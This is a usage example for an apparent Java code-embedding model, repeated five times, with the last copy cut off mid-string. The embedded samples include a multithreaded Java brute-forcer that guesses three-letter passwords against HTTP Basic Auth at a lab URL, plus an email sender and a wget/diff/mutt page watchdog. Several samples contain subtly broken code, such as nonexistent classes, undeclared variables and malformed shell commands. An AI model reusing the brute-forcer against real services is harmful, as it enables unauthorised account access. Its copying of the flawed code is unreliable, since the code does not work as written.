# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", 